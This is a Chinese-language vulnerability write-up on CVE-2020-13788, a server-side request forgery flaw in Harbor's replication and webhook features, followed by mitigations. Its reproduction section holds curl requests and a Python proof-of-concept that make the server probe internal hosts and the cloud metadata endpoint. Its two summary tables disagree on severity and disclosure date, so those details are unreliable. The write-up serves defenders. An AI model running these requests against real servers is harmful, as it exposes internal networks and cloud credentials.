一、漏洞简介¶
1.1 漏洞背景¶
2020年6月,安全研究人员在 Harbor 的镜像复制(Replication)和 webhook 功能中发现了服务端请求伪造(SSRF)漏洞。该漏洞允许攻击者利用 Harbor 服务器作为跳板,探测和访问内部网络资源,或绕过防火墙限制访问外部资源。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-13788 |
| 危害等级 | MEDIUM / 4.3 |
| 漏洞类型 | 服务端请求伪造(SSRF)漏洞 |
| 披露时间 | 2020-07-15 |
| 影响组件 | Harbor 容器镜像仓库 |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2020-13788 |
| 危害等级 | 高危(High) |
| CVSS评分 | 7.5(High) |
| CVSS向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 漏洞类型 | CWE-918:服务端请求伪造(SSRF) |
| 公开日期 | 2020年6月 |
补充核验信息:公开时间:2020-07-15;NVD 评分:4.3(MEDIUM);CWE:CWE-918。
二、影响范围¶
2.1 受影响的版本¶
- Harbor v1.x.x ~ v2.0.x(多个版本受影响)
- 具体影响版本范围需参考官方公告
2.2 不受影响的版本¶
- Harbor >= v2.1.0(已修复)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 认证要求:攻击者需要具有 Harbor 的有效账户
- 功能权限:账户具有创建镜像复制策略或 webhook 的权限
- 网络环境:Harbor 服务器可以访问内部网络资源
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Harbor 的镜像复制功能允许用户配置外部镜像仓库的 URL。当配置复制策略时,Harbor 服务器会向指定的 URL 发起 HTTP 请求以验证连通性。如果未对目标 URL 进行严格校验,攻击者可以:
- 配置指向内部网络地址的复制策略(如
http://192.168.1.1/admin) - 利用 Harbor 服务器探测内网服务
- 绕过网络边界防护,访问受限资源
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置¶
文件:src/core/api/replication_policy.go 或相关 registry adapter
// 伪代码示例:验证仓库连通性
func (r *ReplicationAPI) TestConnection() {
var req struct {
URL string `json:"url"`
Username string `json:"username"`
Password string `json:"password"`
}
if err := r.DecodeJSONReq(&req); err != nil {
r.SendBadRequestError(err)
return
}
// 【漏洞点】直接使用用户输入的 URL 发起请求
// 未检查是否为内部地址
resp, err := http.Get(req.URL)
if err != nil {
r.SendInternalServerError(err)
return
}
// 返回响应信息
r.Data["json"] = map[string]interface{}{
"status": resp.Status,
}
r.ServeJSON()
}
漏洞根因¶
- 未验证目标 URL 格式:允许任意协议(file://, gopher:// 等)和地址
- 未检查私有 IP 地址:允许访问 192.168.x.x、10.x.x.x、127.0.0.1 等
- 未限制 DNS 重绑定:攻击者可使用域名指向内部地址
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 部署 Harbor v2.0.0(受影响版本)
wget https://github.com/goharbor/harbor/releases/download/v2.0.0/harbor-online-installer-v2.0.0.tgz
tar xzf harbor-online-installer-v2.0.0.tgz
cd harbor
./install.sh
4.2 PoC 演示与测试过程¶
场景一:探测内部服务¶
# 创建复制策略,目标指向内部服务
curl -X POST "http://harbor-server/api/replication/policies" \
-H "Content-Type: application/json" \
-u "admin:Harbor12345" \
-d '{
"name": "SSRF-Test",
"src_registry": {
"url": "http://192.168.1.1:8080/admin",
"type": "harbor"
},
"enabled": false
}'
# 如果内部服务存在,会收到响应
# 攻击者可以通过响应差异判断服务是否存在
场景二:访问云元数据服务¶
# 在 AWS 环境中访问元数据服务
curl -X POST "http://harbor-server/api/replication/policies" \
-H "Content-Type: application/json" \
-u "admin:Harbor12345" \
-d '{
"name": "AWS-Metadata",
"src_registry": {
"url": "http://169.254.169.254/latest/meta-data/",
"type": "harbor"
}
}'
Python PoC 脚本¶
#!/usr/bin/env python3
"""
CVE-2020-13788 - Harbor SSRF PoC
用途:仅限安全研究和授权测试
"""
import requests
import sys
def ssrf_scan(target_harbor, username, password, internal_target):
"""
利用 SSRF 探测内部网络
"""
session = requests.Session()
session.auth = (username, password)
# 创建复制策略
payload = {
"name": f"SSRF-Scan-{internal_target}",
"description": "Testing SSRF vulnerability",
"src_registry": {
"url": f"http://{internal_target}",
"type": "harbor",
"credential": {
"type": "basic"
}
},
"enabled": False,
"override": True
}
url = f"{target_harbor}/api/v2.0/replication/policies"
try:
response = session.post(url, json=payload, timeout=10)
print(f"[*] Target: {internal_target}")
print(f"[*] Status: {response.status_code}")
if response.status_code in [200, 201]:
print(f"[+] Connection established to {internal_target}")
elif response.status_code == 400:
print(f"[-] Connection failed or blocked")
else:
print(f"[?] Unexpected response")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <harbor_url> <user> <pass> <internal_ip:port>")
sys.exit(1)
ssrf_scan(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到 Harbor v2.1.0 或更高版本。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:网络层防护¶
# 使用 iptables 限制 Harbor 对内网的访问
iptables -A OUTPUT -o eth0 -d 192.168.0.0/16 -m owner \
--uid-owner harbor -j DROP
iptables -A OUTPUT -o eth0 -d 10.0.0.0/8 -m owner \
--uid-owner harbor -j DROP
iptables -A OUTPUT -o eth0 -d 172.16.0.0/12 -m owner \
--uid-owner harbor -j DROP
iptables -A OUTPUT -o eth0 -d 169.254.169.254 -m owner \
--uid-owner harbor -j DROP
方案二:HTTP 代理配置¶
配置 Harbor 使用受限的 HTTP 代理访问外部资源:
# harbor.yml
http_proxy: http://restricted-proxy:8080
https_proxy: http://restricted-proxy:8080
no_proxy: localhost,127.0.0.1
方案三:域名白名单¶
在应用层添加允许的镜像仓库域名白名单。
<hr />六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- GitHub Releases: https://github.com/goharbor/harbor/releases
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2020-13788
6.2 其他技术参考资料¶
- Soluble.ai Blog: https://www.soluble.ai/blog/harbor-ssrf-cve-2020-13788
- DEF CON Presentation: https://www.youtube.com/watch?v=v8Isqy4yR3Q
- CWE-918 Definition: https://cwe.mitre.org/data/definitions/918.html